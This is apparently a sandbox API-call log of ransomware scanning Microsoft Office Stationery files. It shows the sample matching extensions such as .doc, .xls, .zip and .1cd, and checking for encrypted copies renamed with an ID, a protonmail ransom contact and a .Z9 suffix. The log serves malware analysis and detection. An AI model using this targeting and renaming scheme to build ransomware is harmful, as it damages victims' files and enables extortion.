	[0189.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60
	[0189.022] lstrlenW (lpString=".1cd") returned 4
	[0189.022] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0189.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60
	[0189.022] lstrlenW (lpString=".jpg") returned 4
	[0189.022] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0189.023] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0189.023] lstrlenW (lpString="Bears.htm") returned 9
	[0189.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.024] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=255) returned 1
	[0189.024] CloseHandle (hObject=0x370) returned 1
	[0189.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20
	[0189.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67
	[0189.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67
	[0189.024] lstrlenW (lpString=".doc") returned 4
	[0189.024] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0189.024] lstrlenW (lpString=".docx") returned 5
	[0189.024] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0189.024] lstrlenW (lpString=".pdf") returned 4
	[0189.024] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0189.024] lstrlenW (lpString=".xls") returned 4
	[0189.024] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0189.024] lstrlenW (lpString=".xlsx") returned 5
	[0189.024] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0189.024] lstrlenW (lpString=".ppt") returned 4
	[0189.024] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0189.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67
	[0189.024] lstrlenW (lpString=".zip") returned 4
	[0189.024] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0189.025] lstrlenW (lpString=".rar") returned 4
	[0189.025] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0189.025] lstrlenW (lpString=".bz2") returned 4
	[0189.025] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0189.025] lstrlenW (lpString=".7z") returned 3
	[0189.025] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0189.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67
	[0189.025] lstrlenW (lpString=".dbf") returned 4
	[0189.025] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0189.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67
	[0189.025] lstrlenW (lpString=".1cd") returned 4
	[0189.025] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0189.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67
	[0189.025] lstrlenW (lpString=".jpg") returned 4
	[0189.025] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0189.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67
	[0189.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67
	[0189.025] lstrlenW (lpString=".doc") returned 4
	[0189.025] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0189.025] lstrlenW (lpString=".docx") returned 5
	[0189.025] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0189.025] lstrlenW (lpString=".pdf") returned 4
	[0189.025] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0189.025] lstrlenW (lpString=".xls") returned 4
	[0189.025] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0189.025] lstrlenW (lpString=".xlsx") returned 5
	[0189.025] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0189.025] lstrlenW (lpString=".ppt") returned 4
	[0189.025] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0189.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67
	[0189.025] lstrlenW (lpString=".zip") returned 4
	[0189.025] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0189.025] lstrlenW (lpString=".rar") returned 4
	[0189.025] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0189.025] lstrlenW (lpString=".bz2") returned 4
	[0189.026] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0189.026] lstrlenW (lpString=".7z") returned 3
	[0189.026] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0189.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67
	[0189.026] lstrlenW (lpString=".dbf") returned 4
	[0189.026] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0189.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67
	[0189.026] lstrlenW (lpString=".1cd") returned 4
	[0189.026] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0189.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67
	[0189.026] lstrlenW (lpString=".jpg") returned 4
	[0189.026] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0189.026] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0189.026] lstrlenW (lpString="Bears.jpg") returned 9
	[0189.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.027] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=1074) returned 1
	[0189.027] CloseHandle (hObject=0x370) returned 1
	[0189.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20
	[0189.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0189.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0189.027] lstrlenW (lpString=".doc") returned 4
	[0189.027] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0189.027] lstrlenW (lpString=".docx") returned 5
	[0189.027] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0189.028] lstrlenW (lpString=".pdf") returned 4
	[0189.028] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0189.028] lstrlenW (lpString=".xls") returned 4
	[0189.028] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0189.028] lstrlenW (lpString=".xlsx") returned 5
	[0189.028] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0189.028] lstrlenW (lpString=".ppt") returned 4
	[0189.028] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0189.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0189.028] lstrlenW (lpString=".zip") returned 4
	[0189.028] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0189.028] lstrlenW (lpString=".rar") returned 4
	[0189.028] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0189.028] lstrlenW (lpString=".bz2") returned 4
	[0189.028] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0189.028] lstrlenW (lpString=".7z") returned 3
	[0189.028] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0189.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0189.028] lstrlenW (lpString=".dbf") returned 4
	[0189.028] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0189.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0189.028] lstrlenW (lpString=".1cd") returned 4
	[0189.028] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0189.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0189.028] lstrlenW (lpString=".jpg") returned 4
	[0189.028] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0189.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0189.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0189.028] lstrlenW (lpString=".doc") returned 4
	[0189.028] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0189.028] lstrlenW (lpString=".docx") returned 5
	[0189.028] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0189.028] lstrlenW (lpString=".pdf") returned 4
	[0189.028] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0189.028] lstrlenW (lpString=".xls") returned 4
	[0189.029] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0189.029] lstrlenW (lpString=".xlsx") returned 5
	[0189.029] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0189.029] lstrlenW (lpString=".ppt") returned 4
	[0189.029] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0189.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0189.029] lstrlenW (lpString=".zip") returned 4
	[0189.029] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0189.029] lstrlenW (lpString=".rar") returned 4
	[0189.029] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0189.029] lstrlenW (lpString=".bz2") returned 4
	[0189.029] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0189.029] lstrlenW (lpString=".7z") returned 3
	[0189.029] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0189.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0189.029] lstrlenW (lpString=".dbf") returned 4
	[0189.029] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0189.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0189.029] lstrlenW (lpString=".1cd") returned 4
	[0189.029] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0189.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67
	[0189.029] lstrlenW (lpString=".jpg") returned 4
	[0189.029] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0189.029] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0189.029] lstrlenW (lpString="Garden.htm") returned 10
	[0189.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.030] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=231) returned 1
	[0189.030] CloseHandle (hObject=0x370) returned 1
	[0189.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20
	[0189.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0189.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0189.030] lstrlenW (lpString=".doc") returned 4
	[0189.030] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0189.030] lstrlenW (lpString=".docx") returned 5
	[0189.030] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0189.030] lstrlenW (lpString=".pdf") returned 4
	[0189.030] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0189.030] lstrlenW (lpString=".xls") returned 4
	[0189.030] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0189.030] lstrlenW (lpString=".xlsx") returned 5
	[0189.030] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0189.030] lstrlenW (lpString=".ppt") returned 4
	[0189.030] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0189.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0189.030] lstrlenW (lpString=".zip") returned 4
	[0189.030] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0189.030] lstrlenW (lpString=".rar") returned 4
	[0189.031] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0189.031] lstrlenW (lpString=".bz2") returned 4
	[0189.031] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0189.031] lstrlenW (lpString=".7z") returned 3
	[0189.031] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0189.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0189.031] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0189.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.031] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=23871) returned 1
	[0189.031] CloseHandle (hObject=0x370) returned 1
	[0189.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20
	[0189.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.032] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0189.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.032] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=237) returned 1
	[0189.032] CloseHandle (hObject=0x370) returned 1
	[0189.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20
	[0189.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.033] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0189.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.035] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=6406) returned 1
	[0189.035] CloseHandle (hObject=0x370) returned 1
	[0189.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20
	[0189.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.035] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0189.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.038] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=235) returned 1
	[0189.038] CloseHandle (hObject=0x370) returned 1
	[0189.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20
	[0189.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.039] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0189.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.039] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=4222) returned 1
	[0189.039] CloseHandle (hObject=0x370) returned 1
	[0189.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20
	[0189.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.040] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0189.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.040] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=237) returned 1
	[0189.040] CloseHandle (hObject=0x370) returned 1
	[0189.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20
	[0189.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.041] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0189.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.041] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=6381) returned 1
	[0189.041] CloseHandle (hObject=0x370) returned 1
	[0189.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20
	[0189.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.042] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0189.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.042] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=232) returned 1
	[0189.042] CloseHandle (hObject=0x370) returned 1
	[0189.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20
	[0189.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.043] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
